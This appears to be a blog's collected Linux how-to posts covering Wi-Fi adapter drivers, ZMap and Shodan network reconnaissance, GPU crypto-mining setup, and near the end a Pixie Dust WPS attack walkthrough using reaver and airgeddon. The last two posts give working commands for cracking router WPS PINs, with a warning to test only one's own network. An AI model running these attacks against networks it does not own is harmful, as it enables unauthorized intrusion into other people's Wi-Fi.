Skip to content

Install ALFA AWUS036ACH Drivers on Ubuntu 18.04

Simple Command To Install Alfa Drivers

Open a terminal and escalate your privelages

sudo bash

apt install wireless-tools

iwconfig

Note your wireless adapters…if any are installed

apt-get install realtek-rtl8812au-dkms

Drivers will install, this may take a few minutes.

Once it is done type the following

iwconfig

You will now see your ALFA wireless card

ZMap and ZGrab Installation

Installing the packages on a Ubuntu 18.04 system

In the coming weeks I will be writing more about how to check the perimeter of your network, understand what data is leaking out from it, and how to safeguard your network, and especially your wallet from bad actors. These tools are the beginning, I will wrap it altogether piece by piece.

Log into your Ubuntu rig

Install zmap and zgrab

sudo bash

apt install zmap

apt install golang-go

go get github.com/zmap/zgrab

cd /home/USERNAME/go/src/github.com/zmap/zgrab

go build

Test it by running the following from a remote system, against your network

zmap -p 30303 (Your Public IP Here) –output-fields=* –output-file=results.csv | zgrab –port 30303 -banners –output-file=banners.json

Shodan.IO At A Glance

Some Helpful Search Handlers Listed Below

Within the search box on shodan.io, you can mix and match combinations of each of the following below to gather together results:

To Search by Country
country:US

To Search by Vulnerability using the CVE from HERE
vuln:CVE-2018-5281

These are self explainatory
city:”New York”
port:21,1098,389
category:malware
net:190.30.40.0/24 – ip address or range
org:”Verizon Wireless” – organization
after:”25/12/2018″ – results after a certain date
before:”25/12/2010 “– results before a certain date
os: – operating system
isp: – ISP managing their Net Block
postal: – postal code
product: – name of software or product
version: – version of software
uptime: – how long a host has been up

To Exclude Certain Results add a “-” sign
-city:”New York”



Mining LOKI with RX 480 Nitro 8GB Cards on Ubuntu 18.04

Quick How-To Guide

This guide assumes that you have Ubuntu 18.04 setup fresh.

On another computer, download the AMD drivers from the vendor’s website

Use winscp and move them to the computer

On the Mining Rig, login, and from the command line you will want to navigate to the directory you copied your AMD Drivers to….most likely it will be your home directory (/home/username/)

sudo bash

apt-get update && apt-get upgrade

ls

Look for those AMD Drivers

tar -xJvf amdgpu-pro-18.50-756341-ubuntu-18.04.tar.xz

cd amdgpu-pro-18.50-756341-ubuntu-18.04/

sudo dpkg –add-architecture i386

./amdgpu-pro-install -y –opencl=legacy

mkdir /miner && cd /miner

apt install clinfo -y

apt-get install git build-essential cmake libuv1-dev libmicrohttpd-dev

apt-get install libssl-dev

git clone https://github.com/xmrig/xmrig-amd.git

mkdir xmrig-amd/build

cd xmrig-amd/build

cmake ..

make

apt install mesa-opencl-icd -y

nano loki.sh

@echo off
./xmrig-amd -a cryptonight-ultralite –donate-level 1 -o loki.miner.rocks:4005 -u LChtjHqr29p5FojLdMtcUW5ApLWyQHH5j4366V78YECEjUkgK99Y7uLDVLpHjXpYM3UcZ39FFL5Gvd4debF95mcJHbnx5ke -p w=rx480 -k -o ca.loki.miner.rocks:4005 -u LChtjHqr29p5FojLdMtcUW5ApLWyQHH5j4366V78YECEjUkgK99Y7uLDVLpHjXpYM3UcZ39FFL5Gvd4debF95mcJHbnx5ke -p w=rx480 -k
pause

Save the file and Exit

chmod +x loki.sh

./loki.sh

And your rig will begin to mine

ERROR Installing AMDGPU-PRO Drivers on Ubuntu 18.04

Easy way to fix the following errors

Installing AMD Drivers on Ubuntu 18.04 has been a pain…until now. To fix the following errors you have to simply do the following

ERRORS:

The following packages have unmet dependencies:

amdgpu-pro : Depends: libvdpau-amdgpu-pro but it is not going to be installed

              Depends: clinfo-amdgpu-pro but it is not going to be installed

amdgpu-pro-dkms : Depends: dkms (>= 1.95) but it is not going to be installed

amdgpu-pro-lib32 : Depends: libdrm-amdgpu-pro-amdgpu1:i386

                    Depends: libgbm1-amdgpu-pro:i386

                    Depends: libgl1-amdgpu-pro-glx:i386

Etc, etc, etc………

To fix it, at the command line, type the following:

sudo dpkg –add-architecture i386

Now try the install again:

sudo ./amdgpu-pro-install -y

AND IT FINALLY WORKS!

Mining Veil with CryptoDredge 0.18.0, CUDA 10, on Ubuntu 18.04 with NVidia 1080 TI Cards

  • Mining

This Guide Assumes You Have the OS and Drivers Already Installed

Login to the headless rig

At the command prompt type:

sudo bash

apt-get update

apt-get upgrade

reboot

Log back into the rig

sudo bash

mkdir /miner && cd /miner

wget

tar zxvf CryptoDredge_0.18.0_linux_x64_cuda_10.0.tar.gz

cd CryptoDredge_0.18.0

nano run-veil-bsod.sh

Enter in the following all on one single line:


./CryptoDredge -a x16rt -o stratum+tcp://us.bsod.pw:2532 -u VN1umGknb7NqoL9Fj6d5oU34ZFCs7NbySU -p c=VEIL -i 8

Save the file and Exit

chmod +x run-veil-bsod.sh

screen ./run-veil-bsod.sh

That’s it. Thanks for reading.

The hardware that I used in this guide:
Gigabyte AORUS GeForce GTX 1080 Ti (QTY 6):
https://amzn.to/2JqvXC8

Motherboard (QTY 1): 
https://amzn.to/2JqGJZ7

CPU (QTY 1): 
https://amzn.to/3qevp2X

Memory (QTY 1): 
https://amzn.to/2JqHn8Z

Hard Drive (QTY 1):  
https://amzn.to/3lic3X5

Risers (QTY 6):  
https://amzn.to/33rIgVE

Power Supplies (QTY 2):
https://amzn.to/3fTRpLR

Add2PSU (QTY 1):
https://amzn.to/39s4URY

Power Switch (QTY 1):  
https://amzn.to/3ljmNVk

Scanning a Network Using A MAC

  • MAC

When NMAP isn’t available, use the following

Click on Spotlight (The Magnifying Glass)

Type Terminal to open the command line

Type the following:

for i in {1..254}; do ping -c 2 192.168.1.$i | grep ‘bytes’ ; done

Press Enter

One by one, each ip will be ping’d. Slow, yes…but useful in a pinch

Mining LOKI with RX 580 Nitro on Windows 10

  • Crypto

Quick How-To Guide

I was recently approached by a gamer who had built a system over this past holiday season and wanted to get into mining with some of his rig’s spare cycles. We chatted a bit and decided LOKI had the most promise, so here is a quick how-to on what we did for his rig.

Download and install the LOKI Electron wallet from:

https://github.com/loki-project/loki-electron-gui-wallet/releases

Once the wallet is downloaded, install it, create a loki address, and copy your wallet seed. You will need that in case you have to reinstall it somewhere else, some day.

Now for the fun part

Download the latest version of XMRIG from here (this will be your mining software)

https://github.com/xmrig/xmrig/releases

Unzip the file to your desktop. You may have to add some exceptions to your Anti-Virus for it to work, because AV loves to throw all sorts of false positives

Once it is unpacked, open the XMRig Folder

Right click on START.BAT

Select Edit

Delete everything in this file, and replace it with the following:

@echo off 

xmrig.exe -a cn-trtl --donate-level 1 -o loki.miner.rocks:4005 -u WALLET-ADDRESS-HERE -p w=Rig1 -k -o ca.loki.miner.rocks:4005 -u
WALLET-ADDRESS-HERE -p w=Rig1 -k

pause

Save the File, and Exit

Now double click on Start.bat

You will see your machine start mining LOKI

Pixie Dust Attacks

Test and Secure YOUR Network Only

Run this from a linux box, against your network. Do not run this against any other network out there. It is easy to find the attacker, it is easy to prosecute the bad actor. Be very careful with this attack.

I would suggest installing Ubuntu, Kali, or ParrotOS and running from a USB drive, connected to your computer or laptop.

Open a termina

sudo bash

apt-get update
apt-get upgrade

apt-get install build-essential
apt-get install libpcap-dev
apt-get install sqlite3
apt-get install libsqlite3-dev
apt-get install pixiewps

git clone https://github.com/t6x/reaver-wps-fork-t6x

cd reaver-wps-fork-t6x/
cd src/
./configure
make
make install

airmon-ng check kill
airmon-ng start wlan1

‘wash -i {monitor-interface}’

Identify your target (YOUR NETWORK ONLY) and note the name, bssid and channel. Make sure the signal is strong

reaver -i wlan1 -b {BSSID of router} -c {router channel} -vvv -K 1 -f

Your attack is now running

How to Install AIRGEDDON

This info is specific to Linux only

Open a terminal

sudo bash

mkdir /tools & cd /tools

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

cd airgeddon

ls

sudo bash

./airgeddon.sh

apt-get install and name of tool thats missing

After the dependencies are all installed, run ./airgeddon.sh and begin the configuration

Select your wireless card

Put wireless card into monitoring mode

Select WPS attacks menu – option 8

Select option 4

Select 2.4 ghz